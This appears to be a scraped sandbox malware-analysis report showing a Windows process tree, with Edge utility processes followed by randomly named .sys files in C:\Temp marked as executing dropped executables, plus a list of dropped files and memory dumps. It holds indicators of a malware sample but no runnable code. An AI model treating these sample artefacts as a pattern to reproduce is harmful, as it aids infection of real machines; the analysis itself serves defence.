C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6612,i,18376468541975343799,16769842895359146371,524288 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=5932 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6724,i,11980471587154820426,10748826640461463479,524288 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=6408 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4828,i,11017526011084139728,3469562269414791903,524288 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=5072 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4800,i,3408796134470112863,3290994015078824402,524288 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=6812 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4860,i,1313286212464353984,12954662844056217624,524288 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=5060 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5688,i,9036839866609769883,14864489444616885383,524288 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=5704 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=744,i,9686906543396844116,14932567995231373678,524288 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=5696 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4800,i,9719001362310960990,7405786021057752523,524288 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=6856 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6360,i,15108762502120420149,2132372522446933462,524288 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=6856 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=4840,i,7935941158254381320,873699696552248146,262144 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=6360 /prefetch:104⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6480,i,16354071938854705034,16017095188115328696,524288 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=6492 /prefetch:144⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Temp\nigaysqkidavtnlf.sysC:\Temp\nigaysqkidavtnlf.sys1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Temp\fcxvpnkfdx.sysC:\Temp\fcxvpnkfdx.sys1⤵
- Executes dropped EXE
-
C:\Temp\hecxupnhfz.sysC:\Temp\hecxupnhfz.sys1⤵
- Executes dropped EXE
-
C:\Temp\khczxusmke.sysC:\Temp\khczxusmke.sys1⤵
- Executes dropped EXE
-
C:\Temp\urmjecwuom.sysC:\Temp\urmjecwuom.sys1⤵
- Executes dropped EXE
-
C:\Temp\ojgeywurlj.sysC:\Temp\ojgeywurlj.sys1⤵
- Executes dropped EXE
-
C:\Temp\qolgdbvtol.sysC:\Temp\qolgdbvtol.sys1⤵
- Executes dropped EXE
-
C:\Temp\lgdyvqoigd.sysC:\Temp\lgdyvqoigd.sys1⤵
- Executes dropped EXE
-
C:\Temp\kidayvqnli.sysC:\Temp\kidayvqnli.sys1⤵
- Executes dropped EXE
-
C:\Temp\causnkfdxv.sysC:\Temp\causnkfdxv.sys1⤵
- Executes dropped EXE
-
C:\Temp\spkicaxrpk.sysC:\Temp\spkicaxrpk.sys1⤵
- Executes dropped EXE
-
C:\Temp\ecausmkecx.sysC:\Temp\ecausmkecx.sys1⤵
-
C:\Temp\czurmkecwu.sysC:\Temp\czurmkecwu.sys1⤵
-
C:\Temp\tromgebztr.sysC:\Temp\tromgebztr.sys1⤵
-
C:\Temp\ebomgeywto.sysC:\Temp\ebomgeywto.sys1⤵
-
C:\Temp\olgeywqoig.sysC:\Temp\olgeywqoig.sys1⤵
-
C:\Temp\nljdavtnlf.sysC:\Temp\nljdavtnlf.sys1⤵
-
C:\Temp\cavsnlfdxv.sysC:\Temp\cavsnlfdxv.sys1⤵
-
C:\Temp\kicaxvsnlf.sysC:\Temp\kicaxvsnlf.sys1⤵
-
C:\Temp\nhfzxspkhc.sysC:\Temp\nhfzxspkhc.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ecwuomhecw.exe
fcxvpnkfdx.sys
fzxrpkhczu.exe
hecxupnhfz.sys
i_ecwuomhecw.exe
i_fzxrpkhczu.exe
i_nkigaysqia.exe
i_rmjhbzurmj.exe
i_sqkicauspk.exe
khczxusmke.sys
nigaysqkidavtnlf.exe
nigaysqkidavtnlf.sys
nkigaysqia.exe
ojgeywurlj.sys
rmjhbzurmj.exe
sqkicauspk.exe
urmjecwuom.sys
2ee28498-eb83-4b0f-a3e9-5d82d8067610.tmp
4b134cef-7f37-4687-8ca0-f9a0d9940b4f.tmp
9607e237-0ce2-4a0d-a3ae-798311410b07.tmp
settings.dat
settings.dat
1fa541c0-6604-46ce-bd67-6380c02b2dfc.tmp
273d3734-1755-4fbd-b8a1-da313f0f0a46.tmp
87e08ad5-a452-4fca-aa8d-cf6c93371bad.tmp
temp-index
the-real-index
9b3f7844-9740-4a2d-8c7a-ec2808d6cbb0.tmp
dasherSettingSchema.json
1285a522-bc53-4781-b100-7ea6e8e72f34.tmp
3a8725b1-3f9b-453b-8561-c67e84cca68c.tmp
ea8f3abb-3b6f-4103-8b7e-9f5c15d22302.tmp
eff1125a-4ca0-41ea-8bfc-cb3dc3dee463.tmp
f1c0531c-f1a7-4df6-a477-0d4d20a04560.tmp
b0cd04fa-408d-467e-8afa-284ec1c80ae2.tmp
abe84fef-a8e7-406e-bfc4-6d4c49312aa8.tmp
43e87755-70bc-4f38-a527-d6db9f018c9a.tmp
d9926aef-aae7-4249-8f7d-072ede9a32c7.tmp
f13ce4af-521a-4f30-9fd7-978997ec23ba.tmp
ef46e722-6437-4519-9861-3e80a630ec2d.tmp
3d0a40deb15b80333a0b152bac6856a3345cbfcd29fd6a5c33a6e4bd22c1b272
8d9d4c8c-87cb-4cd6-a394-b92e0d1ab48b.tmp
metadata.json
d6396ff0-20da-46bc-b3e2-f4cd93c4d77f.tmp
fb4a3500-c318-4581-b982-ba8b14d1d325.tmp
content.js
messages.json
manifest.json
manifest.json
manifest.json
manifest.json
CreateProcess.exe
memory/8-483-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/236-511-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1296-561-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1520-577-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2252-691-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2484-740-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2496-66-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2616-717-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3152-434-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3452-582-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4144-722-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4144-742-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4496-696-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4660-612-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4660-523-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4668-679-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4928-557-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5232-659-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5284-536-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5404-718-0x00000000004B0000-0x0000000000510000-memory.dmp
memory/5792-656-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5792-624-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5964-646-0x0000000000010000-0x00000000000AB000-memory.dmp